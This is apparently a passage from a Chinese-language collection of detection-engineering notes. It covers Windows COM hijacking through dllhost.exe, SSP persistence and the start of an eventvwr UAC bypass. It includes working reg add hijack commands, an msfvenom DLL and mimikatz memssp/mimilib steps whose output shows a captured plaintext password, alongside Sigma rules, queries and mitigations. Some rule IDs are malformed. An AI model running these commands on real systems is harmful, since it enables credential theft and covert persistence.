**工具**：`dllhost.exe`（系统自带）、测试用DLL（如`msfvenom`生成）、Sysmon、注册表编辑器。  \n- **测试DLL**：生成简单DLL：\n  ```bash\n  msfvenom -p windows/x64/messagebox TEXT=\"COM Hijack Test\" -f dll -o evil.dll\n  ```\n- **日志**：启用Windows安全日志和Sysmon。  \n\n### 攻击步骤\n1. **创建恶意DLL**  \n   - 复制测试DLL到可控路径：\n     ```cmd\n     copy evil.dll C:\\Malicious\\evil.dll\n     ```\n\n2. **注册恶意COM对象**  \n   - 创建CLSID并配置`InProcServer32`：\n     ```cmd\n     reg add \"HKLM\\SOFTWARE\\Classes\\CLSID\\{12345678-1234-1234-1234-1234567890AB}\\InProcServer32\" /ve /d \"C:\\Malicious\\evil.dll\" /f\n     reg add \"HKLM\\SOFTWARE\\Classes\\CLSID\\{12345678-1234-1234-1234-1234567890AB}\\InProcServer32\" /v ThreadingModel /d Apartment /f\n     ```\n\n3. **触发COM对象**  \n   - 使用`dllhost.exe`加载：\n     ```cmd\n     dllhost.exe /Processid:{12345678-1234-1234-1234-1234567890AB}\n     ```\n   - 观察DLL是否执行（如弹出消息框）。\n\n4. **验证结果**  \n   - 检查注册表：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Classes\\CLSID\\{12345678-1234-1234-1234-1234567890AB}\\InProcServer32\"\n     ```\n   - 检查日志：  \n     - **Windows安全日志（事件ID 4688）**：\n       ```powershell\n       Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"dllhost.exe\" }\n       ```\n     - **Sysmon日志（事件ID 13）**：\n       ```powershell\n       Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 13 -and $_.Message -match \"CLSID\" }\n       ```\n     - **Sysmon日志（事件ID 7）**：\n       ```powershell\n       Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 7 -and $_.Message -match \"evil.dll\" }\n       ```\n\n5. **清理**  \n   - 删除注册表键：\n     ```cmd\n     reg delete \"HKLM\\SOFTWARE\\Classes\\CLSID\\{12345678-1234-1234-1234-1234567890AB}\" /f\n     ```\n   - 删除DLL：\n     ```cmd\n     del C:\\Malicious\\evil.dll\n     ```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 1234\n  Image: C:\\Windows\\System32\\dllhost.exe\n  CommandLine: dllhost.exe /Processid:{12345678-1234-1234-1234-1234567890AB}\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\User\n  IntegrityLevel: Medium\n  ```\n\n- **Sysmon日志（事件ID 7，DLL加载）**：\n  ```plaintext\n  EventID: 7\n  UtcTime: 2025-06-10 03:00:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\dllhost.exe\n  ImageLoaded: C:\\Malicious\\evil.dll\n  Hashes: SHA256=ABCDEF1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF1234567890\n  User: CONTOSO\\User\n  ```\n\n- **Sysmon日志（事件ID 13，注册表修改）**：\n  ```plaintext\n  EventID: 13\n  EventType: SetValue\n  UtcTime: 2025-06-10 03:00:00.345\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ac}\n  Image: C:\\Windows\\System32\\reg.exe\n  TargetObject: HKLM\\SOFTWARE\\Classes\\CLSID\\{12345678-1234-1234-1234-1234567890AB}\\InProcServer32\n  Details: C:\\Malicious\\evil.dll\n  User: CONTOSO\\Administrator\n  ```\n\n- **Sysmon日志（事件ID 3，网络连接，异常情况）**：\n  ```plaintext\n  EventID: 3\n  UtcTime: 2025-06-10 03:00:00.456\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\dllhost.exe\n  DestinationIp: 203.0.113.1\n  DestinationPort: 443\n  User: CONTOSO\\User\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控COM注册表修改、`dllhost.exe`的异常行为及网络活动，检测COM劫持攻击。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Sysmon事件ID 13，检测`HKLM\\SOFTWARE\\Classes\\CLSID`或`HKCU\\SOFTWARE\\Classes\\CLSID`的修改，尤其是`InProcServer32`或`LocalServer32`键。  \n   - 监控Sysmon事件ID 1，检测`dllhost.exe`执行，检查命令行是否包含`/Processid:{CLSID}`。  \n   - 监控Sysmon事件ID 7，检测`dllhost.exe`加载的非系统DLL。  \n   - 监控Sysmon事件ID 3，检测`dllhost.exe`的异常公网连接（排除私有IP）。  \n   - 监控Windows安全日志事件ID 4688，检测`dllhost.exe`或`reg.exe`的异常进程创建。  \n\n2. **Sigma规则（Dllhost异常网络连接）**：\n   ```yaml\n   title: Dllhost异常网络连接检测\n   id: cfed2f44-16df-4bf3-833a-79405198b277\n   status: stable\n   description: 检测dllhost.exe与公网IP的通信，可能与COM劫持相关\n   author: bartblaze\n   date: 2020/07/13\n   references:\n     - https://attack.mitre.org/techniques/T1546/015/\n     - https://lolbas-project.github.io/lolbas/Binaries/Dllhost/\n   tags:\n     - attack.persistence\n     - attack.t1546.015\n     - attack.execution\n   logsource:\n     category: network_connection\n     product: windows\n   detection:\n     selection:\n       Image|endswith: '\\dllhost.exe'\n       Initiated: 'true'\n     filter:\n       DestinationIp|startswith:\n         - '10.'\n         - '192.168.'\n         - '172.16.'\n         - '172.17.'\n         - '172.18.'\n         - '172.19.'\n         - '172.20.'\n         - '172.21.'\n         - '172.22.'\n         - '172.23.'\n         - '172.24.'\n         - '172.25.'\n         - '172.26.'\n         - '172.27.'\n         - '172.28.'\n         - '172.29.'\n         - '172.30.'\n         - '172.31.'\n         - '127.'\n     condition: selection and not filter\n   fields:\n     - Image\n     - DestinationIp\n     - DestinationPort\n     - User\n   falsepositives:\n     - 合法应用程序通过dllhost.exe的公网通信（如云服务）\n   level: medium\n   ```\n\n3. **Sigma规则（COM注册表修改）**：\n   ```yaml\n   title: COM对象注册表修改检测\n   id: g78901234-abcd-5678-9012-34567890abcd\n   status: experimental\n   description: 检测COM对象注册表键的修改，可能与COM劫持相关\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 13\n       TargetObject|contains:\n         - '\\SOFTWARE\\Classes\\CLSID'\n         - '\\InProcServer32'\n         - '\\LocalServer32'\n     condition: selection\n   fields:\n     - TargetObject\n     - Details\n     - Image\n     - User\n   falsepositives:\n     - 合法软件安装或更新\n   level: high\n   ```\n\n4. **Sigma规则（Dllhost异常DLL加载）**：\n   ```yaml\n   title: Dllhost异常DLL加载检测\n   id: h89012345-abcd-6789-0123-45678901bcde\n   status: experimental\n   description: 检测dllhost.exe加载非系统DLL，可能与COM劫持相关å\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 7\n       Image|endswith: '\\dllhost.exe'\n       ImageLoaded|contains: '.dll'\n     filter:\n       ImageLoaded|startswith:\n         - 'C:\\Windows\\System32\\'\n         - 'C:\\Windows\\SysWOW64\\'\n     condition: selection and not filter\n   fields:\n     - Image\n     - ImageLoaded\n     - User\n   falsepositives:\n     - 第三方合法COM服务器\n   level: high\n   ```\n\n5. **SIEM规则**：\n   - 检测COM劫持及`dllhost.exe`异常行为。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventID=13 TargetObject IN (\"*CLSID*InProcServer32*\",\"*CLSID*LocalServer32*\")) OR (EventID=1 Image=\"*dllhost.exe\" CommandLine=\"*/Processid:*\") OR (EventID=7 Image=\"*dllhost.exe\" ImageLoaded=\"*.dll\" NOT ImageLoaded IN (\"C:\\Windows\\System32\\*\",\"C:\\Windows\\SysWOW64\\*\")) OR (EventID=3 Image=\"*dllhost.exe\" NOT DestinationIp IN (\"10.*\",\"192.168.*\",\"172.16.*\",\"172.31.*\",\"127.*\"))) | stats count by Image, CommandLine, TargetObject, ImageLoaded, DestinationIp, User, ComputerName\n     ```\n\n6. **注册表监控**：\n   - 检查COM对象配置：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Classes\\CLSID\\*\\InProcServer32\" -ErrorAction SilentlyContinue | Where-Object { $_.'(Default)' -notmatch 'C:\\\\Windows\\\\System32|C:\\\\Windows\\\\SysWOW64' }\n     ```\n\n7. **工具支持**：\n   - 使用Sysinternals Autoruns检查COM对象：\n     ```cmd\n     autoruns -c | findstr \"CLSID\"\n     ```\n   - 使用Process Monitor捕获实时注册表和DLL加载活动。\n\n8. **威胁情报整合**：\n   - 检查DLL文件哈希或CLSID是否与已知恶意样本匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御COM劫持攻击需从注册表保护、DLL监控和权限管理入手：\n\n1. **锁定注册表键**  \n   - 限制`HKLM\\SOFTWARE\\Classes\\CLSID`的写权限：\n     ```powershell\n     $acl = Get-Acl \"HKLM:\\SOFTWARE\\Classes\\CLSID\"\n     $acl.SetAccessRuleProtection($true, $false)\n     Set-Acl -Path \"HKLM:\\SOFTWARE\\Classes\\CLSID\" -AclObject $acl\n     ```\n\n2. **限制dllhost.exe行为**  \n   - 使用AppLocker限制`dllhost.exe`加载非系统DLL：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"C:\\Windows\\System32\\*.dll\" -Action Allow -User \"Everyone\"\n     ```\n\n3. **白名单COM对象**  \n   - 定期审计COM对象，移除非必要CLSID：\n     ```powershell\n     Get-Item -Path \"HKLM:\\SOFTWARE\\Classes\\CLSID\\*\" | Where-Object { $_.GetSubKeyNames() -contains \"InProcServer32\" } | Select-Object PSChildName\n     ```\n\n4. **加强权限管理**  \n   - 限制非管理员用户修改注册表：\n     ```powershell\n     icacls \"C:\\Windows\\System32\\reg.exe\" /deny \"Users:(X)\"\n     ```\n\n5. **日志和监控**  \n   - 启用Sysmon事件ID 1、3、7、13，检测COM注册表修改和`dllhost.exe`异常行为。  \n   - 配置SIEM监控COM相关事件。  \n   - 使用EDR工具检测异常DLL加载和网络活动。  \n\n6. **定期审计**  \n   - 检查COM对象配置：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SOFTWARE\\Classes\\CLSID\\*\\InProcServer32\" -ErrorAction SilentlyContinue\n     ```\n   - 审计`dllhost.exe`加载的DLL：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 7 -and $_.Message -match \"dllhost.exe\" }\n     ```\n\n## 参考推荐\n\n- MITRE ATT&CK: T1546.015  \n  <https://attack.mitre.org/techniques/T1546/015/>  \n- Dllhost.exe LOLBAS  \n  <https://lolbas-project.github.io/lolbas/Binaries/Dllhost/>  \n- Sigma规则：Dllhost网络连接  \n  <https://github.com/Neo23x0/sigma/blob/master/rules/windows/network_connection/sysmon_rundll32_net_connections.yml>"
  },
  {
    "path": "Windows/05持久化/T1547.005-Win-SSP权限维持.md",
    "content": "# T1547-005-Win-SSP权限维持\n\n## 描述\n\n攻击者通过注册恶意的Windows安全支持提供程序（Security Support Provider, SSP）动态链接库（DLL）实现持久化（T1547.005）。SSP是Windows身份验证机制的核心组件（如Kerberos、NTLM），以DLL形式在系统启动时加载到本地安全机构（Local Security Authority, LSA）进程（`lsass.exe`）中，可访问加密和明文凭据（如域密码、PIN码）。SSP配置存储在注册表`HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages`和`HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages`中。\n\n攻击者可通过添加恶意SSP DLL到这些注册表键，在系统重启或调用`AddSecurityPackage` API时加载，窃取凭据（如明文密码）或执行任意代码。由于`lsass.exe`是高权限系统进程，恶意SSP以SYSTEM权限运行，隐蔽性强且难以检测。攻击者常使用工具如Mimikatz实现内存注入或持久化DLL注册。检测重点在于监控SSP注册表修改、异常DLL加载及`lsass.exe`行为。\n\n## 测试案例\n\n1. **内存注入SSP（非持久化）**  \n   使用Mimikatz将伪造SSP注入`lsass.exe`内存，捕获登录凭据，无需磁盘文件，但重启后失效。  \n2. **注册持久化SSP DLL**  \n   将恶意DLL（如Mimikatz的`mimilib.dll`）部署到`System32`并添加到SSP注册表，系统重启后持续捕获凭据。  \n3. **触发AddSecurityPackage API**  \n   动态调用API加载恶意SSP，绕过重启需求。  \n\n### 示例命令\n#### 方法一：内存注入SSP\n- **攻击命令**（需SYSTEM权限）：\n  ```cmd\n  mimikatz.exe \"privilege::debug\" \"misc::memssp\" exit\n  ```\n  - 注入伪造SSP，凭据记录在`C:\\Windows\\System32\\mimilsa.log`。  \n- **验证凭据**：\n  ```cmd\n  type C:\\Windows\\System32\\mimilsa.log\n  ```\n\n#### 方法二：注册持久化SSP DLL\n- **攻击命令**（需SYSTEM权限）：\n  ```cmd\n  copy mimilib.dll %SystemRoot%\\System32\n  reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Security Packages\" /t REG_MULTI_SZ /d \"kerberos\\0msv1_0\\0schannel\\0wdigest\\0tspkg\\0pku2u\\0mimilib\" /f\n  ```\n  - 部署`mimilib.dll`并更新SSP注册表，凭据记录在`C:\\Windows\\System32\\kiwissp.log`。  \n- **验证注册表**：\n  ```cmd\n  reg query HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa /v \"Security Packages\"\n  ```\n- **验证凭据**（重启后）：\n  ```cmd\n  type C:\\Windows\\System32\\kiwissp.log\n  ```\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录`mimikatz.exe`、`reg.exe`或`lsass.exe`的进程创建。  \n- **事件ID 4656**：记录注册表键（如`Security Packages`）的访问。  \n- **事件ID 4658**：记录注册表句柄关闭。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含`mimikatz.exe`或`reg.exe`的命令行参数。  \n- **事件ID 7**：记录`lsass.exe`加载的DLL，检测非系统SSP DLL。  \n- **事件ID 13**：记录注册表修改，如`HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages`。  \n- **事件ID 11**：记录DLL文件（如`mimilib.dll`）的创建或写入。  \n\n**配置日志记录**  \n- 启用注册表审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 启用模块加载日志：`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe`设置`AuditLevel=8`（Windows 8.1+）。  \n- 部署Sysmon以增强注册表、进程和模块监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows Server 2012+（建议Windows Server 2008+以启用Sysmon）。  \n- **权限**：SYSTEM权限（注入或注册SSP）。  \n- **工具**：Mimikatz（含`mimilib.dll`）、Sysmon、注册表编辑器。  \n- **测试DLL**：使用Mimikatz提供的`mimilib.dll`（确保与系统架构匹配）。  \n- **日志**：启用Windows安全日志、Sysmon和注册表审核。  \n\n### 攻击步骤\n\n#### 方法一\n\n使用mimikatz将伪造的SSP注入内存，这样做不会在系统中留下二进制文件，但如果域控制器重启，被注入内存的伪造的SSP将会丢失。\n\n```dos\nmimikatz.exe \"privilege::debug\" \"misc::memssp\" exit\n```\n\n```test\nC:\\Users\\Administrator\\Desktop\\mimikatz_trunk\\x64>mimikatz.exe \"privilege::debug\n\" \"misc::memssp\" exit\n\n  .#####.   mimikatz 2.1.1 (x64) built on Apr  9 2017 23:24:20\n .## ^ ##.  \"A La Vie, A L'Amour\"\n ## / \\ ##  /* * *\n ## \\ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)\n  '#####'                                     with 21 modules * * */\n\nmimikatz(commandline) # privilege::debug\nPrivilege '20' OK\n\nmimikatz(commandline) # misc::memssp\nInjected =)\n\nmimikatz(commandline) # exit\nBye!\n```\n\n注销当前用户重新登录，即可获取明文密码，密码存储在日志文件C:\\Windows\\system32\\mimilsa.log中。\n\n```dos\ntype C:\\Windows\\system32\\mimilsa.log\n```\n\n```test\nC:\\Users\\Administrator>type C:\\Windows\\system32\\mimilsa.log\n[00000000:00063a51] DC\\Administrator    admin.098\n```\n\n#### 方法二\n\n将mimikatz中的mimilib.dll 放到系统的C:\\Windows\\system32目录下（DLL的位数需要与windows位数相同），并将mimilib.dll添加到注册表中，使用此方法即使系统重启，也不会影响到持久化的效果。\n\n```dos\ncopy mimilib.dll %systemroot%\\system32\nreg query hklm\\system\\currentcontrolset\\control\\lsa\\ /v \"Security Packages\"\nreg add \"hklm\\system\\currentcontrolset\\control\\lsa\\\" /v \"Security Packages\" /d \"kerberos\\0msv1_0\\0schannel\\0wdigest\\0tspkg\\0pku2u\\0mimilib\" /t REG_MULTI_SZ\n```\n\n```test-dos\nC:\\Users\\Administrator\\Desktop\\mimikatz_trunk\\x64>copy mimilib.dll %systemroot%\\\nsystem32\n已复制         1 个文件。\n\nC:\\Users\\Administrator\\Desktop\\mimikatz_trunk\\x64>reg query hklm\\system\\currentc\nontrolset\\control\\lsa\\ /v \"Security Packages\"\n\nHKEY_LOCAL_MACHINE\\system\\currentcontrolset\\control\\lsa\n    Security Packages    REG_MULTI_SZ    kerberos\\0msv1_0\\0schannel\\0wdigest\\0ts\npkg\\0pku2u\n```\n\n注意：最后一步修改注册表需要在powershell命令行下操作，cmd下可能会报错。\n\n```dos\nPS C:\\Users\\Administrator> reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa /v \"Security Packages\" /t REG_MULTI_SZ /d \"kerberos\\0msv1_0\\0schannel\\0wdigest\\0tspkg\\0pku2u\\0mimilib\" /t REG_MULTI_SZ\n值 Security Packages 已存在，要覆盖吗(Yes/No)? y\n操作成功完成。\n```\n\n查看注册表 hklm\\system\\currentcontrolset\\control\\lsa\\Security Packages项的值。\n\n```dos\nC:\\Users\\Administrator\\Desktop\\mimikatz_trunk\\x64>reg query hklm\\system\\currentc\nontrolset\\control\\lsa\\ /v \"Security Packages\"\n\nHKEY_LOCAL_MACHINE\\system\\currentcontrolset\\control\\lsa\n    Security Packages    REG_MULTI_SZ    kerberos\\0msv1_0\\0schannel\\0wdigest\\0ts\npkg\\0pku2u\\0mimilib\n```\n\n系统重启后，若dll被成功加载，用户在登录时输入的账号和密码明文就会被记录在C:\\Windows\\system32\\kiwissp.log中。\n\n```dos\ntype C:\\Windows\\system32\\kiwissp.log\n```\n\n```test\nC:\\Users\\Administrator>type C:\\Windows\\system32\\kiwissp.log\n[00000000:000003e7] [00000002] WORKGROUP\\DC$ (DC$)\n[00000000:00049cd0] [00000002] DC\\Administrator (Administrator) admin.098\n[00000000:000003e5] [00000005] \\ (LOCAL SERVICE)\n```\n\n## 测试留痕\n\n- **Windows安全日志（事件ID 4688，进程创建）**：\n  ```plaintext\n  EventID: 4688\n  New Process ID: 0x5c8\n  New Process Name: C:\\Windows\\System32\\reg.exe\n  CommandLine: reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Security Packages\" /t REG_MULTI_SZ /d \"kerberos\\0msv1_0\\0schannel\\0wdigest\\0tspkg\\0pku2u\\0mimilib\"\n  Creator Process ID: 0x748\n  Creator Process Name: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n  Token Elevation Type: TokenElevationTypeDefault (1)\n  ```\n\n- **Windows安全日志（事件ID 4656，注册表访问）**：\n  ```plaintext\n  EventID: 4656\n  Object Server: Security\n  Object Type: Key\n  Object Name: \\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\n  Handle ID: 0x508\n  Process ID: 0x748\n  Process Name: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n  Accesses: READ_CONTROL, Query key value, Enumerate subkeys, Notify\n  ```\n\n- **Sysmon日志（事件ID 13，注册表修改）**：\n  ```plaintext\n  EventID: 13\n  EventType: SetValue\n  UtcTime: 2025-06-10 03:00:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\reg.exe\n  TargetObject: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages\n  Details: kerberos\\0msv1_0\\0schannel\\0wdigest\\0tspkg\\0pku2u\\0mimilib\n  User: CONTOSO\\Administrator\n  ```\n\n- **Sysmon日志（事件ID 7，DLL加载）**：\n  ```plaintext\n  EventID: 7\n  UtcTime: 2025-06-10 03:00:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ac}\n  Image: C:\\Windows\\System32\\lsass.exe\n  ImageLoaded: C:\\Windows\\System32\\mimilib.dll\n  Hashes: SHA256=ABCDEF1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF1234567890\n  User: NT AUTHORITY\\SYSTEM\n  ```\n\n- **Sysmon日志（事件ID 11，文件创建）**：\n  ```plaintext\n  EventID: 11\n  UtcTime: 2025-06-10 03:00:00.345\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\cmd.exe\n  TargetFilename: C:\\Windows\\System32\\mimilib.dll\n  User: CONTOSO\\Administrator\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控注册表修改、DLL加载和`lsass.exe`行为，检测恶意SSP的注册和执行。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Sysmon事件ID 13，检测`HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages`或`OSConfig\\Security Packages`的修改。  \n   - 监控Sysmon事件ID 7，检测`lsass.exe`加载的非系统DLL。  \n   - 监控Sysmon事件ID 1，检测`mimikatz.exe`、`reg.exe`或异常进程调用`AddSecurityPackage`。  \n   - 监控Sysmon事件ID 11，检测`System32`目录中新增DLL文件。  \n   - 监控Windows安全日志事件ID 4656/4688，检测SSP注册表访问和异常进程创建。  \n\n2. **Sigma规则（SSP注册表修改）**：\n   ```yaml\n   title: 添加到LSA配置的安全支持提供程序（SSP）\n   id: f45678901-abcd-2345-6789-abcdef123456\n   status: stable\n   description: 检测向注册表添加SSP，可能加载恶意DLL以捕获凭据\n   references:\n     - https://attack.mitre.org/techniques/T1547/005/\n     - https://xz.aliyun.com/t/7432\n   tags:\n     - attack.persistence\n     - attack.t1547.005\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 13\n       TargetObject|contains:\n         - '\\Control\\Lsa\\Security Packages'\n         - '\\Control\\Lsa\\OSConfig\\Security Packages'\n     exclusion:\n       Image|endswith:\n         - '\\msiexec.exe'\n     condition: selection and not exclusion\n   fields:\n     - TargetObject\n     - Details\n     - Image\n     - User\n   falsepositives:\n     - 合法系统更新或第三方安全软件\n   level: critical\n   ```\n\n3. **Sigma规则（Lsass异常DLL加载）**：\n   ```yaml\n   title: Lsass异常DLL加载检测\n   id: g56789012-abcd-3456-7890-abcdef234567\n   status: experimental\n   description: 检测lsass.exe加载非系统DLL，可能与恶意SSP相关\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 7\n       Image|endswith: '\\lsass.exe'\n       ImageLoaded|endswith: '.dll'\n     filter:\n       ImageLoaded|startswith:\n         - 'C:\\Windows\\System32\\'\n         - 'C:\\Windows\\SysWOW64\\'\n     condition: selection and not filter\n   fields:\n     - Image\n     - ImageLoaded\n     - User\n   falsepositives:\n     - 合法第三方安全软件\n   level: critical\n   ```\n\n4. **SIEM规则**：\n   - 检测SSP注册和异常DLL加载。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventID=13 TargetObject IN (\"*Control\\Lsa\\Security Packages*\",\"*Control\\Lsa\\OSConfig\\Security Packages*\")) OR (EventID=7 Image=\"*lsass.exe\" ImageLoaded=\"*.dll\" NOT ImageLoaded IN (\"C:\\Windows\\System32\\*\",\"C:\\Windows\\SysWOW64\\*\")) OR (EventID=1 Image IN (\"*mimikatz.exe\",\"*reg.exe\") CommandLine=\"*Security Packages*\")) | stats count by Image, CommandLine, TargetObject, ImageLoaded, User, ComputerName\n     ```\n\n5. **注册表监控**：\n   - 检查SSP配置：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" -Name \"Security Packages\"\n     ```\n\n6. **工具支持**：\n   - 使用Sysinternals Autoruns检查LSA SSP：\n     ```cmd\n     autoruns -a | findstr \"Security Packages\"\n     ```\n   - 使用Process Monitor捕获`lsass.exe`的DLL加载和注册表活动。\n\n7. **威胁情报整合**：\n   - 检查DLL文件哈希（如`mimilib.dll`）是否与已知恶意样本匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御SSP攻击需从注册表保护、DLL监控和权限管理入手：\n\n1. **锁定注册表键**  \n   - 限制`HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa`的写权限：\n     ```powershell\n     $acl = Get-Acl \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\"\n     $acl.SetAccessRuleProtection($true, $false)\n     Set-Acl -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" -AclObject $acl\n     ```\n\n2. **启用未签名DLL审计**  \n   - 在Windows 8.1+中启用`lsass.exe`未签名DLL加载审计：\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe\" -Name AuditLevel -Value 8\n     ```\n\n3. **限制reg命令使用**  \n   - 使用AppLocker限制非管理员执行`reg.exe`：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"C:\\Windows\\System32\\reg.exe\" -Action Deny -User \"Everyone\"\n     ```\n\n4. **白名单SSP**  \n   - 定期审计SSP配置，确保仅包含系统默认包（`kerberos`、`msv1_0`、`schannel`、`wdigest`、`tspkg`、`pku2u`）：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" -Name \"Security Packages\" | Where-Object { $_.'Security Packages' -match \"mimilib|unknown\" }\n     ```\n\n5. **加强权限管理**  \n   - 限制非管理员用户修改`System32`目录：\n     ```powershell\n     icacls \"C:\\Windows\\System32\" /deny \"Users:(W)\"\n     ```\n\n6. **日志和监控**  \n   - 启用Sysmon事件ID 1、7、11、13，检测SSP注册表修改和`lsass.exe`异常DLL加载。  \n   - 配置SIEM监控SSP相关事件。  \n   - 使用EDR工具检测`lsass.exe`异常行为（如凭据转储）。  \n\n7. **定期审计**  \n   - 检查SSP注册表：\n     ```powershell\n     Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" -Name \"Security Packages\"\n     ```\n   - 检查`System32`目录中的DLL：\n     ```powershell\n     Get-ChildItem -Path \"C:\\Windows\\System32\" -Filter \"*.dll\" | Where-Object { $_.CreationTime -gt (Get-Date).AddDays(-7) }\n     ```\n   - 检查日志文件：\n     ```powershell\n     Get-ChildItem -Path \"C:\\Windows\\System32\" -Filter \"*.log\" | Where-Object { $_.Name -match \"mimilsa|kiwissp\" }\n     ```\n\n8. **使用Autoruns检测**  \n   - 下载Autoruns：<https://docs.microsoft.com/zh-cn/sysinternals/downloads/autoruns>  \n   - 检查LSA扩展：\n     ```cmd\n     autoruns -a | findstr \"Lsa\"\n     ```\n\n## 参考推荐\n\n- MITRE ATT&CK: T1547.005  \n  <https://attack.mitre.org/techniques/T1547/005/>  \n- AD域SSP权限维持与安全防护  \n  <https://xz.aliyun.com/t/7432>  \n- PowerSploit: Install-SSP  \n  <https://powersploit.readthedocs.io/en/latest/Persistence/Install-SSP/>"
  },
  {
    "path": "Windows/05持久化/T1548.002-Win-绕过用户账户控制-Eventvwr.exe(白名单).md",
    "content": "# T1548-002-Win-绕过用户账户控制-Eventvwr.exe\n\n## 描述\n\n攻击者可通过利用`eventvwr.exe`的自动提升特性绕过Windows用户账户控制（UAC），在无需用户确认的情况下以高完整性级别执行恶意代码（T1548.002）。UAC是Windows的安全机制，限制进程权限提升（如从中等完整性到高完整性），通常通过提示用户确认管理员权限。`eventvwr.exe`（事件查看器）是Windows系统自带的可信进程，位于`C:\\Windows\\System32\\`或`C:\\Windows\\SysWOW64\\`，用于显示事件日志。\n\n`eventvwr.exe`在启动时会读取注册表键`HKCU\\Software\\Classes\\mscfile\\shell\\open\\command`，以定位`mmc.exe`执行`.msc`文件（如`eventvwr.msc`）。攻击者可修改此键，替换为恶意二进制文件或脚本路径，使其在`eventvwr.exe`启动时以高完整性级别自动执行，无需UAC提示。这种“无文件”技术隐蔽性强，常用于权限提升或持久化。检测重点在于监控相关注册表修改及`eventvwr.exe`的异常子进程。\n\n## 测试案例\n\n1. **注册表劫持执行恶意二进制**  \n   攻击者修改`HKCU\\Software\\Classes\\mscfile\\shell\\open\\command`，将`cmd.exe`设置为执行程序，启动`eventvwr.exe`时以高完整性运行命令提示符。  \n2. **执行脚本绕过UAC**  \n   攻击者配置PowerShell脚本路径，触发`eventvwr.exe`执行恶意脚本。  \n3. **结合其他技术**  \n   攻击者利用`eventvwr.exe`作为初始向量，结合横向移动或持久化技术（如计划任务）。\n\n### 示例命令\n- **攻击命令**（用户权限）：\n  